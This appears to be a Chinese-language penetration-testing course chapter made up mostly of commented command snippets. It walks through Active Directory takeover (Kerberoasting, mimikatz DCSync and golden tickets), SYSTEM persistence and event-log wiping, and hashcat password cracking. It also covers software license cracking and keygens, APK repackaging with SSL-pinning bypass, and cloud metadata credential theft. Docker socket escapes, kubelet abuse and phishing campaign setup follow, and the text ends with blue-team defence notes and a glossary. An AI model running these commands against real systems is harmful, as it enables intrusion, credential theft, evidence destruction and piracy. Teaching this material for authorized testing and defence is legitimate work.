# BloodHound: 收集域关系 → 可视化"谁能控制谁" SharpHound.exe -c All # 导入 BloodHound → 查"Shortest Path to Domain Admins" # 输出典型路径: 普通用户 → 本地管理员(某机器) → 域管会话 → 域控 # 域管凭据攻击: # AS-REP Roasting(无预认证用户): Rubeus.exe asreproast # Kerberoasting(服务账号): Rubeus.exe kerberoast # 离线破解票据哈希: hashcat -m 18200 kerberoast.txt rockyou.txt # 终极: DCSync(需要域管/高权限, 直接拖域控哈希) mimikatz.exe "lsadump::dcsync /domain:CORP /user:krbtgt" "exit" # 金票(Golden Ticket): 用 krbtgt 哈希伪造任意权限票据 mimikatz.exe "kerberos::golden /user:fakeadmin /domain:CORP /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH" "exit"
# 持久化(保证下次还能进): 计划任务/服务/启动项/注册表 schtasks /create /tn "Updater" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM # 或: 创建服务 / 注册表 Run 键 / WMI 事件订阅 / 域 GPO 后门 # 收尾: 清日志(仅靶场!) wevtutil cl Security; wevtutil cl System; wevtutil cl Application # 整理证据链: 谁->哪台->什么凭据->哪条路径->拿到什么
一句话收束:内网渗透 = 信任半径扩张——立足→收集→横向→域控,四阶段每一步都是"找到信任链,顺着跳";防御 = 让信任半径小到"失守一台≠失守全网"。
本质一句话:密码破解不是"解算法",是"猜人类"——哈希算法只是锁,钥匙是人类选的密码;破解的本质是"用人类的习惯(字典/规律/复用)去撞锁"。所以最强的破解武器不是算力,是"了解人怎么起密码"。
# 类型识别: 长度/前缀/格式 hashid '32ed87bdb5fdc5e9cba88547376818d4' # 输出: NTLM / MD4 hashid '$2y$10$N9qo8uLOickgx2ZMRZoMye...' # 输出: bcrypt # 常见类型与 hashcat 编号: # 0=MD5 1000=NTLM 100=SHA1 3200=bcrypt 18200=Kerberoast 13100=Argon2 # 5600=Android PIN 22000=WPA-PBKDF2(握手) 2100=域缓存hash(DCC2)
# 基准测试: 看你的硬件每秒能试多少次 hashcat -b # 输出示例(RTX 4090): # MD5: ~100 GH/s (每秒千亿次) ← 弱哈希秒破 # bcrypt: ~300 kH/s (每秒30万次) ← 慢哈希极慢 # Argon2: ~100 kH/s # 结论: MD5/NTLM 用字典+规则; bcrypt/Argon2 只能用小字典+精准规则 # 字典攻击 hashcat -m 1000 hash.txt rockyou.txt # 规则攻击(在字典基础上变形: 加数字/符号/大小写) hashcat -m 1000 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # 掩码攻击(知道部分规律时): 8位数字 / 生日范围 hashcat -m 1000 hash.txt -a 3 ?d?d?d?d?d?d?d?d hashcat -m 1000 hash.txt -a 3 1990-2024年?d?d?d?d?d?d # 用掩码限定 # 组合攻击(词+词) hashcat -m 1000 hash.txt -a 1 word1.txt word2.txt
# 分析目标: 口令复用 / 弱口令分布 / 泄露库交叉 # 1) 口令复用: 同一哈希在多个系统出现 → 撞库风险 # 2) 弱口令统计: 前10弱口令 → 强制改密+培训 # 3) 泄露库交叉(授权评估): 员工邮箱在历史泄露中出现 → 口令风险高 # 4) 横向: 破解出的凭据拿去撞其他系统 (crackmapexec 批量) # 输出成果: 口令复用图 + 弱口令清单 + 修复建议(慢哈希/MFA/密码管理器)
一句话收束:密码破解 = "猜人类"不是"解数学"——字典、规则、掩码都是对"人怎么起密码"的建模;防御 = 让人类密码习惯不再可猜。
本质一句话:逆向 = "把机器能懂、人不懂的二进制,翻译回人能懂的逻辑"——程序编译后丢掉了名字和结构,逆向就是把它们捡回来。你不是在"破解密码",是在"还原作者的思维"。流程永远是:静态看骨架 → 动态看行为 → 交叉验证 → 还原算法。
# 文件类型 file target.exe # PE32 executable (console) Intel 80386 ... file target.so # ELF 64-bit LSB shared object, x86-64 # 基本信息 strings target.exe | head -50 # 可读字符串=线索 # 常见线索: URL/密钥/提示语/错误信息/加密算法名 # 加壳检测(壳会压缩/加密代码, 先脱壳再分析) # UPX壳: 开头有 UPX! 字样 → upx -d 脱壳 upx -d target.exe # 检测壳: Detect It Easy (DIE) / Exeinfo PE 看壳类型 # VMProtect/Themida 等强壳: 需要专门脱壳(教程见后) # 保护检查(漏洞利用相关) checksec --file=target # NX/Canary/PIE/RELRO
# 快速定位: 字符串交叉引用
# IDA: Shift+F12 看字符串 → 双击"错误提示" → 交叉引用到校验函数
# Ghidra(免费): File → Import → Auto Analysis → 看 Decompile
# 命令行轻量分析:
rabin2 -I target # 导入表/架构
rabin2 -z target # 字符串
r2 -A target # radare2 自动分析
# 在 r2 里: aaa → afl(列函数) → s main → pdf(反汇编)
# 找"比较点"是逆向核心:
# 字符串比较 strcmp / 数值比较 cmp / 校验函数
# 伪代码里看到: if (strcmp(input, "flag{...}") == 0) → 答案就在眼前
# 还原算法: 把反编译伪代码翻译成 Python 重算
# 例: 校验等式 x*7+13 == 0x6f5d → 用 z3 解
from z3 import *
x = BitVec("x", 32)
s = Solver(); s.add(x*7+13 == 0x6f5d)
print(s.check(), s.model())
# Linux 调试
gdb ./target
# 下断点: break main / break strcmp / break *0x401234
# 看寄存器: info registers / x/s $rdi (字符串参数)
# 单步: ni / si
# Windows 调试
# x64dbg: 载入 → 下断点(字符串/API) → F9 运行 → 看寄存器/栈
# Frida(Hook 神器): 运行时拦截函数/改返回值
# 跟踪所有字符串比较:
frida-trace -p PID -i "strcmp"
# 脚本: 修改校验结果(演示)
# Java.perform(function(){
# var m = Java.use("com.example.Check");
# m.check.implementation = function(){ return true; };
# });
# 反调试对抗: 程序检测调试器/虚拟机 → 需要绕过
# 常见反调试: IsDebuggerPresent / ptrace / 时间差 / 断点检测
# 场景A: 找硬编码密钥 strings app.so | grep -i key # 密钥常躺字符串 # 场景B: 还原注册码算法 # 找到校验函数 → 逆推生成规则 → 写注册机脚本 # 场景C: 还原通信协议 # 抓包+反编译拼协议字段 → 写模拟客户端 # 场景D: 恶意样本 # 找C2域名/加密算法/窃取逻辑(见26.12) # 场景E: 游戏外挂原理 # 内存偏移+函数Hook(见26.36)
一句话收束:逆向 = 静态骨架 + 动态验证 + 交叉还原——你在捡回作者丢掉的"名字和结构",最终目的是还原"逻辑"。
本质一句话:破解 = 找到"校验点",然后让校验永远通过——要么改校验逻辑(patch),要么还原出"正确的答案"(keygen/注册机)。校验点是攻防的核心:软件作者把它藏起来(加壳/混淆/联网),破解者把它找出来。
# 方法1: 字符串定位 # 搜"注册码错误/Invalid key/激活失败" → 交叉引用到校验函数 # IDA: Shift+F12 → 找到错误串 → 双击 → 看谁引用了它 → 就是校验点 # 方法2: API 断点 # 注册码常触发: 字符串比较(strcmp/variant compare)、注册表读取、文件读取 # x64dbg: 对 strcmp/RegQueryValue/MessageBox 下断点 # 方法3: 输入对比 # 输入假码 → 断在比较点 → 看寄存器里的"正确值"(可能就在眼前) # 方法4: 联网验证 # 抓包找验证服务器 → 分析协议 → 本地假服务器/改hosts
# 从输入到校验中间的逻辑: 查表/异或/Base64/哈希/RSA # 工具: IDA 伪代码 / Ghidra Decompile / Frida 打印参数返回值 # 例: # input → base64解码 → 与"常量表"异或 → 和内存中值比较 # 还原 = 逆推: 正确值 → 逆异或 → 逆base64 → 得到注册码 # 写 keygen: 把逆推过程写成 Python 脚本, 输入任意"注册名"输出注册码
# 找到校验跳转后, 两种改法: # 1) 改跳转: jz(失败跳转) → jnz 或 nop 掉失败分支 # x64dbg: 右键 → 汇编 → 修改 → 保存到文件 # 2) 改返回值: 让校验函数永远返回"成功" # IDA: 找到 mov eax,0(失败) → 改成 mov eax,1(成功) # 验证: 运行 → 功能解锁 → 无崩溃 # 注意: 现代软件有"自校验"(检测自己被改了) → 要同时patch自校验
# 加壳: 先脱壳(UPX/ASP/VMProtect) 再分析 # 反调试: 绕过 IsDebuggerPresent/ptrace/时间差 # 自校验: 找到CRC/哈希校验 → patch 或动态绕过 # 联网验证: 分析协议/本地服务器/hosts 重定向(仅研究) # 代码虚拟化: VMProtect等 → 动态调试+行为还原(难) # 服务端校验: 关键逻辑在服务器 → 本地破解无意义, 只能协议层研究
一句话收束:破解 = 找到校验点 + 让校验永远通过——作者把它藏起来,你把它找出来;攻防的本质是"藏"与"找"的成本竞赛。
本质一句话:移动应用 = "跑在用户手机上的 Web 服务 + 本地客户端"——它的秘密(密钥/协议/逻辑)全在安装包里和运行时内存里,谁拿到手机/APK 谁就能拆开看。移动攻防的核心动作只有三个:拆包看、跑起来看、改掉重打包。
# 反编译 Java 层(看业务逻辑/密钥/协议) jadx -d out app.apk # 输出: out/sources/... 可读的Java代码 # 重点找: # - 硬编码密钥/API Key/Token (搜索 "key" "secret" "token" "api") # - 加密逻辑 (AES/RSA/Base64) # - 接口地址 (https://...) # - 校验逻辑 (登录/激活/风控) # 资源与 smali(修改用) apktool d app.apk -o app_dir # 输出: AndroidManifest.xml(可读) + smali/(可改) + res/(资源) # 看清单: 组件/权限/入口 cat app_dir/AndroidManifest.xml | grep -E "activity|permission|exported"
# 前提: 模拟器/真机 + adb + frida
# 连接
adb devices
frida-ps -U # 列出设备进程
# 跟踪指定函数
frida-trace -U -i "strcmp" -i "java.lang.String.equals" 目标APP
# 打印所有加解密调用
# Frida 脚本: 拦截 Java 方法
# Java.perform(function(){
# var Cipher = Java.use("javax.crypto.Cipher");
# Cipher.doFinal.overload("[B").implementation = function(data){
# console.log("Cipher.doFinal:", bytesToHex(data));
# return this.doFinal(data);
# };
# });
# 改返回值(演示): 让校验永远通过
# Checker.check().implementation = function(){ return true; };
# 常见Hook目标:
# - 登录/激活校验函数
# - 加密函数(AES密钥/IV)
# - 风控/设备指纹
# - 网络请求(重定向到抓包)
# 抓包三件套: Burp/Charles/mitmproxy + 绕过证书校验 # 证书固定(SSL Pinning)绕过: # 方法1: Frida 脚本 hook SSLContext/OkHttp CertificatePinner # 方法2: objection objection -g 包名 explore # 然后在 objection 里: android sslpinning disable # 抓包后还原协议: 请求头/签名算法/加密字段 # 签名算法常在前端JS/so里 → 逆向还原 → 写脚本模拟请求
# 修改 smali 后重新打包+签名 apktool b app_dir -o modified.apk # 生成签名密钥 keytool -genkey -v -keystore key.jks -alias test -keyalg RSA -keysize 2048 -validity 10000 # 签名 jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore key.jks modified.apk test # 或 apksigner: apksigner sign --ks key.jks modified.apk # 安装测试 adb install modified.apk # 注意: 重打包会破坏原签名 → 应用可能有签名校验(检测被改)
# 检测加固: jadx 看到壳类(com.tencent.StubShell/梆梆/360加固) → 需要脱壳 # 脱壳方案(Frida): # Frida-DEXDump: 运行时从内存dump出真实dex # BlackDex: 脱壳+反混淆一体 # 脱壳后: jadx 再反编译 → 看到真实业务代码 # 反混淆: OLLVM/字符串加密 → 动态分析+行为还原
一句话收束:移动攻防 = 拆包看 + 跑起来看 + 改掉重打包——所有秘密都在包和内存里,能不能拿到只取决于"拆"与"绕"的功夫。
本质一句话:云 = "把服务器变成了 API"——云上的攻防不再是打 IP,而是"打凭证、打角色、打配置"。拿到一组云凭证(AWS Key/AK/SK),往往等于拿到整个云账号的管理权。
# 公开资产: 存储桶/域名/代码 # AWS S3 枚举: # s3://bucket-name (公开读=配置错误) # 工具: bucketkicker / s3scanner / 手工 # GitHub 代码泄露(密钥常在这): trufflehog github --org 目标公司 # 或 gitleaks 扫本地仓库 # 域名/IP 找云资产: 云厂商IP段 / 证书 / DNS记录 # 目标: 找到 AK/SK / 存储桶 / 云主机
# AWS CLI 验证凭证 aws sts get-caller-identity --access-key-id AKIA... --secret-access-key ... # 输出: 你是谁(账号/角色) → 决定你能干嘛 # 枚举权限(最小权限审计) aws iam list-attached-user-policies --user-name 目标 # 看存储桶 aws s3 ls --recursive # 看EC2/数据库 aws ec2 describe-instances aws rds describe-db-instances # 阿里云对应: aliyun sts GetCallerIdentity / ossutil ls / ecs # 判断: 凭证权限大不大? 有没有过度授权?
# 场景: Web应用有SSRF → 打云元数据端点 → 偷临时凭证 # AWS 元数据(IMDSv1): curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # → 返回角色名 → 再取: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/角色名 # → 返回临时 AK/SK/Token → 直接接管! # IMDSv2 防护: 需要 PUT token(带 X-aws-ec2-metadata-token) → 绕过更难 # 阿里云: curl http://100.100.100.200/latest/meta-data/ # GCP: curl http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"
# 凭证横向: 用AK/SK访问其他服务 # 典型路径: S3(数据) → EC2(计算) → RDS(数据库) → 全账号 # 云提权: # - IAM 权限过大(能 iam:CreateUser / PutUserPolicy) → 给自己加权限 # - Lambda 可写代码 → 函数注入 # - EC2 用户数据(user-data) → 启动脚本里藏命令 # 容器层面: ECR镜像 → 逃逸到宿主机(见26.39容器)
# 最小权限: 角色只给必需权限, 定期审计(IAM Access Analyzer) # 凭证保护: AK/SK 不入代码/.git; 用角色+临时凭证; 定期轮换 # 存储桶: 默认私有, 定期扫描公开桶 # 元数据防护: IMDSv2 + 网络ACL限制访问元数据 # 配置审计: AWS Config / 阿里云配置审计 持续检查错误配置 # 日志: CloudTrail 审计API调用(攻击者都会留下API调用记录)
一句话收束:云攻防 = "凭证即权限,权限即资产"——防御 = 最小角色 + 凭证保护 + 配置审计。
本质一句话:容器 = "把应用和依赖打包成一个可移植的盒子"——容器安全的核心是三个边界:镜像(盒子里装了什么)、运行时(盒子怎么跑)、编排(盒子怎么被管)。攻防都在这三个边界上发生。
# 扫描镜像漏洞 trivy image 你的镜像名 # 输出: 镜像里的CVE清单(系统包/依赖/配置) # 或: grype 镜像名 # 检查镜像内容(有没有敏感信息/后门) docker history 镜像名 --no-trunc # 每一层做了什么 docker run --rm -it --entrypoint sh 镜像名 # 进去看 # 找: 硬编码密钥 / 多余服务 / 高权用户 / 危险命令 # 仓库: 镜像仓库(registry)是否公开可读 → 拉取检查
# 进入容器后, 判断权限与逃逸面 id # root? cat /proc/1/cgroup # 容器隔离情况 ls -la /var/run/docker.sock # Docker Socket 在吗? mount | head -30 # 挂了哪些敏感路径? capsh --print # 能力(CAP_SYS_ADMIN等)? # 高危信号: # - 以 root 运行 # - docker.sock 挂载 # - /host 或 /var/run 挂载 # - 特权模式(privileged) # - CAP_SYS_ADMIN / CAP_NET_ADMIN 等危险能力
# 路径1: docker.sock 可访问 → 直接控制Docker # curl --unix-socket /var/run/docker.sock http://localhost/containers/json # 挂载宿主机根目录启动新容器: # docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host sh # 然后: chroot /host → 拿到宿主机! # 路径2: 特权模式+挂载宿主机 # 特权容器里: # fdisk -l 找宿主机分区 → mount /dev/sda1 /mnt → chroot /mnt # 或利用 CVE-2022-0492(cgroup逃逸) 等内核漏洞 # 路径3: 危险挂载(宿主机/var/run) # 挂载了 / 或 /etc 或 /var/run → 直接读写宿主机文件 # 路径4: 内核漏洞逃逸 # 容器共享宿主机内核 → 内核漏洞=逃逸(如 Dirty Pipe CVE-2022-0847) # 前提: 找到匹配的 exp + 权限足够
# API Server 未授权(常见!): kubelet 10250 端口匿名访问 curl -k https://节点IP:10250/pods # 返回pod列表=未授权! 甚至可执行命令(10250/run) # K8s 配置错误: # - 匿名访问 API Server(6443) # - 过大的 RBAC 权限 # - Secret 明文/base64 # - Dashboard 无认证 # 利用工具: kube-hunter / pacu(K8s模块) / kubeletctl kube-hunter --remote 目标IP # 攻击链: 未授权API → 创建特权pod → 挂载宿主机 → 逃逸
一句话收束:容器安全 = 镜像/运行时/编排 三边界——攻击者从最弱的边界进,防御者三个边界都守。
本质一句话:社工 = "利用人的心理开关替你做技术做不到的事"——技术防线再强,人也可能点一个链接、交一个密码。社工攻击的全链路 = 画像(收集)→诱饵(构造)→投递(送达)→上钩(触发)→变现(利用)。
# OSINT收集目标信息: 姓名/邮箱/职位/社交/习惯/组织 # 工具: theHarvester / linkedin2username / 社交平台搜索 # 画像要点: # - 邮箱格式(名.姓@公司) → 钓鱼发件人仿冒 # - 职位与系统(财务→转账钓鱼; IT→权限钓鱼) # - 社交内容(最近出差/项目/兴趣 → 定制诱饵) # - 组织架构(谁是新员工? 谁是领导? → 冒充) # 输出: 一张"目标画像卡"(身份/习惯/可攻击的心理开关)
# 鱼叉式: 针对单人的定制邮件 # 主题: 与你相关(出差报销/项目进度/会议邀请) # 正文: 权威(领导/IT/人事) + 紧迫(今晚/立即) + 动作(点链接/输密码/下载附件) # 诱饵类型: # - 假登录页(仿公司SSO/邮箱) → 收集账号密码 # - 恶意附件(宏文档/快捷方式/压缩包) # - 二维码钓鱼(仿快递/扫码) # - 语音钓鱼(冒充客服/领导) # 基础设施: 钓鱼域名(相似域名)+托管页面+日志记录(谁点了/谁输了)
# 邮件投递: 真实SMTP/钓鱼框架(Gophish/Evilginx) # 水坑: 目标常访问的网站投放诱饵 # 短信/IM: 伪造银行/快递/公司通知 # 上钩判定: # - 打开率(点开了没) # - 凭证提交率(输了密码没) ← 最关键 # - 附件执行率(跑了没) # 工具: Gophish 统计 / 假登录页记录提交 # 演练注意: 演练里"收集"的凭证要立即销毁, 不用于真实利用
# 变现路径: # 偷到密码 → 登录邮箱/系统 → 横向(见26.33) → 窃数据/转钱/勒索 # 防御对照: # - 演练(让员工"见过"钓鱼) → 点击率下降 # - 流程(转账/改密要二次确认) → 即使被骗也拦得住 # - MFA(密码被偷也不够) → 最后一道闸 # - 邮件网关(过滤相似域名/恶意附件) → 少一半诱饵 # 复盘: 谁点了? 为什么点? 培训+流程怎么改?
一句话收束:社工 = 画像→诱饵→投递→上钩→变现 五段链——技术防线再强也怕"人点一下",防御 = 演练+流程+技术兜底三件套。
本质一句话:蓝队 = "让攻击者每一步都留下痕迹、每个痕迹都被看见、每个告警都有人响应"——蓝队的本质不是"挡住所有攻击"(做不到),而是"让攻击代价最大化、停留时间最短化"。
# 不知道自己有什么 = 不知道自己被打了什么 # 资产清单要素: 主机/服务/账号/数据/依赖/出入口 # 工具: # - 网络资产: nmap/资产测绘平台/CMDB # - 依赖资产: SBOM (见26.16) # - 账号资产: AD用户/特权账号/云角色 # 关键: 资产清点不是"一次做完", 是"持续更新"
# 主机加固清单(最小): # - 关无用端口/服务 # - SSH 禁密码登录(用密钥)+禁root直登 # - 系统补丁+自动更新策略 # - 最小权限账号(非root运行服务) # - 防火墙出网白名单 # Web应用加固: # - 安全头: CSP/X-Frame-Options/Strict-Transport-Security # - 参数化查询+输出编码 # - 最小权限DB账号 # 身份加固: # - 全员MFA # - 特权账号管理(PAM)+定期轮换 # - 离职账号回收 # 基线工具: 加固脚本(lynis/OpenSCAP)+配置管理(Ansible)
# 最小监控集(先建这五条): # 1) 登录日志: 失败次数/异地登录/新账号 # 2) Web日志: 注入特征/目录爆破/异常UA # 3) 出网流量: 大流量/陌生IP/DNS隧道特征 # 4) 主机行为: 新计划任务/新服务/新启动项/进程注入 # 5) 文件监控: 新Webshell/篡改/新增文件 # 告警规则示例: # - 60秒内5次ssh失败 → 告警 # - 登录成功后10秒内执行下载命令 → 告警 # - 出网到已知恶意IP → 告警 # 工具: Wazuh(开源SIEM)/ELK/Grafana+告警 # 关键: 告警要"可行动"——告警信息里要有IP/时间/动作
# 六步法: # 1) 发现: 告警/通报/用户报告 → 先确认是不是误报 # 2) 止损: 隔离主机/下线接口/改口令/断网段 —— 第一优先! # 3) 取证: 内存转储/磁盘快照/日志保存(别再操作污染现场) # 4) 清除: 删后门/回滚配置/补漏洞/重置所有受影响凭据 # 5) 恢复: 从干净备份恢复/验证业务正常/加固后再上线 # 6) 复盘: 攻击路径/检测盲区/流程缺陷/改进项+责任人+期限 # 工具: Volatility(内存分析)/Autopsy(磁盘取证)/SIEM查询
一句话收束:蓝队 = 资产清点→基线加固→监控告警→应急响应 四件套循环——目标是"让攻击者停留时间最短",不是"永远不被攻击"。
本质一句话:学了三十八节,最终要的是"把本质变成本能"——看到任何安全事件,第一反应不是背术语,而是自动套模型、自动找七寸、自动出对策。这一节用"事件→模型→动作"的密集训练,帮你完成从"会背"到"会用"的跃迁。
| 事件 | 先套模型 | 七寸 | 第一动作 |
|---|---|---|---|
| 员工点钓鱼链接 | 信任差(人) | 人的判断 | 演练+MFA+流程二次确认 |
| 内网主机被横向 | 信任半径 | 口令复用/信任链 | 分段+LAPS+凭据保护 |
| S3 桶公开可读 | 配置信任 | 错误配置 | 基线检查+默认私有 |
| 收到 0day 预警 | 补丁时间差 | 受影响组件 | 资产比对+缓解措施 |
| 数据库被拖 | 信任边界(SQLi) | 参数拼接 | 参数化+下线暴露接口 |
| 容器逃逸 | 运行时边界 | 特权/挂载 | 最小权限+只读+隔离 |
| 云凭证泄露 | 凭证即权限 | AK/SK | 轮换+最小角色+监控API调用 |
| 勒索爆发 | 入口+数据 | 入口弱+备份缺失 | 隔离+离线备份恢复+补入口 |
| Webshell 上传 | 信任边界(上传) | 上传校验 | 白名单+目录禁执行+文件监控 |
| DNS 隧道外传 | 隧道外衣 | 出网白名单 | 出网审计+DNS异常检测 |
# 问1(攻击视角): 如果我是攻击者, 我最先打哪? 为什么? # → 暴露面最大/最弱/最值钱的入口 # 问2(防御视角): 攻击者做了哪些动作我"看不见"? # → 监控盲区清单(补监控) # 问3(验证视角): 我假设的防线, 真的挡得住吗? # → 定期红蓝演练验证(见26.25)
一句话收束(全章收尾):大道至简——攻击 = 信息差 × 信任差 × 资源差;防御 = 消除信息差 + 收紧信任差 + 压缩资源差。十个模型是你的"一眼看穿",三问与检查表是你的"日日执行"。祝你从"背黑话"到"看穿攻击",再到"让攻击者知难而退"。
本质一句话:术语不是用来背的,是用来"快速归位"的——看到任何一个黑话,先问它属于"哪个模型、哪条链、哪个阶段",答案自动浮现。这一节把高频黑话按"模型→场景→动作"三列排成速查表,遇到不懂的词直接查。
| 黑话 | 模型归位 | 一句话场景识别 | 第一动作 |
|---|---|---|---|
| 0day | 补丁时间差 | 无人知道、无补丁的漏洞 | 纵深防御+行为监控兜底 |
| 1day/N-day | 补丁时间差 | 已公开但没修的漏洞 | 72h补丁+临时缓解 |
| APT | 资源差+信息差 | 国家级/组织级长期渗透 | 情报+异常行为+响应 |
| SQL注入 | 信任边界 | 参数拼进SQL | 参数化查询 |
| XSS | 信任边界 | 内容当脚本执行 | 输出编码+CSP |
| CSRF | 信任身份 | 借你会话发请求 | CSRF Token+SameSite |
| SSRF | 信任请求 | 服务器替你请求URL | 白名单+禁内网 |
| 反序列化 | 信任数据 | 数据流变对象变代码 | 类型白名单+签名 |
| 提权 | 权限阶梯 | 低权变高权 | 最小权限+去SUID |
| 横向移动 | 信任半径 | 从一台跳到另一台 | 分段+LAPS |
| 钓鱼 | 信任差(人) | 邮件/链接骗人 | 网关+演练+MFA |
| 水坑 | 信息差+信任差 | 目标常去的网站投毒 | 浏览器防护+员工教育 |
| 供应链 | 信任链条 | 打你信任的供给方 | SBOM+锁版本+审计 |
| 勒索 | 入口+数据 | 加密数据索要赎金 | 隔离+离线备份+补入口 |
| 挖矿 | 资源差 | 偷算力挖矿 | 进程监控+基线 |
| 木马 | 恶意代码 | 伪装正常文件远控 | EDR+行为监控 |
| 蠕虫 | 恶意代码 | 自我复制传播 | 分段+补丁+隔离 |
| Rootkit | 隐藏术 | 隐藏进程/文件/网络 | 内核检测+重装 |
| 免杀 | 特征军备 | 让恶意代码不像恶意 | 行为检测+机器学习 |
| 加壳 | 特征军备 | 压缩/加密代码 | 脱壳+行为分析 |
| 反弹Shell | 隧道外衣 | 目标主动连回攻击者 | 出网白名单 |
| DNS隧道 | 隧道外衣 | 数据藏DNS查询 | DNS审计+异常检测 |
| C2 | 隧道外衣 | 被控机回连指挥 | 出网监控+溯源 |
| 域前置 | 隧道外衣 | 流量伪装成CDN大站 | SNI与目标比对 |
| 凭据窃取 | 认证三问 | 偷密码/哈希/票据 | 凭据保护+MFA |
| Pass-the-Hash | 认证三问 | 用哈希直接登录 | 禁止LM/NTLM复用 |
| 金票/银票 | 认证三问 | 伪造Kerberos票据 | 保护krbtgt+票据监控 |
| DCSync | 认证三问 | 模拟域控拖哈希 | 域控日志+特权保护 |
| 弱口令 | 金字塔塔底 | 默认/简单/复用口令 | 强口令+MFA |
| 未授权接口 | 金字塔塔底 | 接口无鉴权 | 对象级鉴权 |
| 目录爆破 | 信息差 | 枚举隐藏目录 | 隐藏目录不隐藏+WAF |
| 指纹识别 | 信息差 | 识别框架/版本 | 隐藏版本信息 |
| 拖库 | 数据泄露 | 数据库被整库拖走 | 参数化+备份加密 |
| 撞库 | 数据泄露 | 复用口令批量试 | 禁复用+风控 |
| 接码 | 黑产资源 | 批量手机号收验证码 | 风控+设备指纹 |
| 猫池 | 黑产资源 | 批量SIM卡设备 | 实名+风控 |
| 社工库 | 黑产资源 | 历史泄露数据聚合 | 数据分级+泄露监控 |
| 暗网 | 隐蔽网络 | 匿名市场/论坛 | 情报监控(防御) |
| 加密货币洗钱 | 资金链 | 黑产资金转移 | 链分析(执法/防御) |
| 水军 | 黑产运营 | 批量账号刷评 | 风控+检测 |
| 羊毛党 | 黑产运营 | 批量薅平台优惠 | 风控+防刷 |
| 白帽 | 攻防光谱 | 合法授权挖洞 | SRC/众测 |
| 红队 | 攻防光谱 | 模拟真实攻击 | 演练+报告 |
| 蓝队 | 攻防光谱 | 防守响应 | 监控+应急 |
| 紫队 | 攻防光谱 | 红蓝联动 | 改进闭环 |
| 情报 | 信息差 | 知道攻击者知道什么 | 订阅+关联分析 |
| ATT&CK | 攻防地图 | 攻击战术×技术矩阵 | 检测映射 |
| 杀伤链 | 攻防地图 | 攻击七阶段 | 每阶段拦截 |
| OSINT | 信息差 | 公开信息收集 | 反侦察缩小暴露 |
| 指纹 | 信息差 | 技术栈识别 | 隐藏指纹 |
| 网络测绘 | 信息差 | Shodan/FOFA查暴露资产 | 资产收敛 |
| 蜜罐 | 攻防同机 | 诱捕攻击者 | 情报+溯源 |
| 沙箱 | 恶意代码 | 隔离跑样本 | 分析+取证 |
| 威胁建模 | 防御思维 | 先想攻击再防御 | STRIDE/攻击树 |
| 零信任 | 信任半径 | 默认不信任 | 最小权限+持续验证 |
| 纵深防御 | 防御思维 | 多层防线 | 洋葱模型 |
| 补丁管理 | 补丁时间差 | 漏洞修复生命周期 | 资产清单+72h SLA |
| 暴露面管理 | 信息差 | 持续收敛攻击面 | 资产+扫描+收敛 |
| 应急响应 | 蓝队流程 | 事件处理六步 | 止损→取证→恢复 |
| 事件响应 | 蓝队流程 | 同应急响应 | 流程+工具 |
| 取证 | 蓝队流程 | 还原攻击现场 | 内存/磁盘/日志 |
| 溯源 | 蓝队流程 | 追攻击者来源 | 日志+情报+关联 |
| DLP | 数据泄露 | 防数据外发 | 出网监控+加密 |
| SIEM | 日志监控 | 集中日志+告警 | 规则+关联 |
| EDR | 主机监控 | 端点检测响应 | 行为+响应 |
| WAF | Web防护 | Web应用防火墙 | 规则+拦截 |
| IDS/IPS | 网络防护 | 入侵检测/防御 | 规则+流量 |
| MFA | 认证三问 | 多因素认证 | 二次验证 |
| SSO | 认证三问 | 单点登录 | 集中身份 |
| OAuth/JWT | 认证三问 | 令牌认证 | 正确实现+过期 |
| IDOR | 信任身份 | 换ID越权 | 对象级鉴权 |
| 业务逻辑漏洞 | 信任身份 | 流程/逻辑缺陷 | 逻辑审计+测试 |
| 竞争条件 | 信任身份 | 并发操作越界 | 锁+幂等 |
| 协议漏洞 | 信任边界 | 协议实现缺陷 | 升级+正确实现 |
| 中间人 | 信任边界 | 流量被劫持 | TLS+证书固定 |
| 重放攻击 | 信任边界 | 请求被重放 | 随机数+时间戳 |
| 侧信道 | 资源差 | 功耗/时间/电磁泄露 | 恒定时间+屏蔽 |
| 故障注入 | 资源差 | 物理干扰芯片 | 屏蔽+检测 |
| BadUSB | 物理入口 | USB伪装键盘 | USB管控+锁屏 |
| 摆渡攻击 | 物理入口 | U盘跨网传输 | USB管控+隔离 |
| Wi-Fi钓鱼 | 物理入口 | 假Wi-Fi抓流量 | 企业VPN+证书 |
| RFID克隆 | 物理入口 | 克隆门禁卡 | 加密卡+监控 |
| DDoS | 资源差 | 流量淹没服务 | CDN+限速+清洗 |
| CC攻击 | 资源差 | 高频请求打Web | WAF+限速 |
| 僵尸网络 | 资源差 | 批量被控机器 | 检测+情报 |
| 肉鸡 | 资源差 | 被控机器 | EDR+监控 |
| 远控 | 隧道外衣 | 远程控制被控机 | 出网+行为监控 |
| 键盘记录 | 恶意代码 | 记录输入 | EDR+隔离 |
| 截屏 | 恶意代码 | 偷屏幕内容 | EDR+权限 |
| 剪贴板劫持 | 恶意代码 | 篡改复制内容(地址) | EDR+校验 |
| 无文件攻击 | 特征军备 | 不落地执行 | 行为监控+内存检测 |
| 内存马 | 特征军备 | Web容器内存挂马 | 容器完整性+重启 |
| 宏病毒 | 恶意代码 | 文档宏执行 | 禁宏+白名单 |
| 勒索软件 | 恶意代码 | 加密索要赎金 | 离线备份+隔离 |
| APT情报 | 信息差 | 长期威胁跟踪 | 情报订阅 |
| 威胁猎捕 | 攻防同机 | 主动找攻击痕迹 | 假设+检测+验证 |
| 红队报告 | 证据链 | 攻击证据+修复 | 可复现+可执行 |
| 漏洞赏金 | 攻防光谱 | 合法挖洞赚钱 | SRC/HackerOne |
| CVSS | 攻防地图 | 漏洞评分 | 定优先级 |
| EPSS | 攻防地图 | 被利用概率评分 | 补丁优先级 |
| SBOM | 供应链 | 软件物料清单 | 依赖审计 |
| 攻击面 | 信息差 | 所有可被碰到的入口 | 收敛+管理 |
| 风险 | 防御思维 | 可能性×损失 | 优先级+控制 |
| CIA | 防御思维 | 机密/完整/可用 | 三线防护 |
| 最小权限 | 信任半径 | 只给够用的权限 | 权限审计 |
| 默认安全 | 信任边界 | 默认配置要安全 | 基线检查 |
